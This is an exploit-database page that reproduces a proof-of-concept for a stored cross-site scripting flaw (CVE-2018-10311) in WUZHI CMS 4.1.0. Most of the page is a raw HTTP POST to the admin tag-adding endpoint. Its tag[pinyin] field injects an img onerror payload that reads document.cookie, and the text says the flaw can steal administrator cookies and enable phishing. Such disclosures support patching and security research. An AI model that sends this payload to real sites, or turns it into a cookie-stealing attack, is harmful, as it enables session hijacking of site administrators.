Wuzhi cms 4.1.0 tag[pinyin] crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-05-13 | Type : webapps | Platform : php
This exploit / vulnerability Wuzhi cms 4.1.0 tag[pinyin] crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: WUZHI CMS 4.1.0 XSS Vulnerability
# Date: 2018-4-23
# Exploit Author: jiguang (s1@jiguang.in)
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE: CVE-2018-10311

An issue was discovered in WUZHI CMS 4.1.0 (https://github.com/wuzhicms/wuzhicms/issues/131)
There is a xss vulnerability that can stealing administrator cookie, fishing attack, etc. via the tag[pinyin] parameter post to the /index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=?&_submenuid=?

`[POST /www/index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=95&_submenuid=101 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/www/index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=95&_submenuid=101
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
Cookie: PHPSESSID=uk4g8bm4l96iv5rl6ej2re83a3; EkT_uid=c%2FzWH2EByNj%2Fm78WencnAg%3D%3D; EkT_username=oR5iColhZ3j6z343ib%2B9Lg%3D%3D; EkT_wz_name=LVeemy520l5DQnc4SQGtsw%3D%3D; EkT_siteid=Wl70z0XOgxO6TVPS70twsg%3D%3D; EkT_qkey=jiPLTZIrWUySV8FmwZwibPjlIPfq0nTj
Connection: close
Upgrade-Insecure-Requests: 1

tag%5Btag%5D=jiguang&tag%5Btitle%5D=jiguang&tag%5Bkeyword%5D=jiguang&tag%5Bdesc%5D=jiguang&tag%5Bisshow%5D=1&tag%5Blinkageid%5D=0&LK2_1=0&## tag%5Bpinyin%5D=ji%3Cimg%2Fsrc%3D1+onerror%3Dalert%28document.cookie%29%3E&tag%5Bletter%5D=&tag%5Burl%5D=&submit=%E6%8F%90+%E4%BA%A4](url)`

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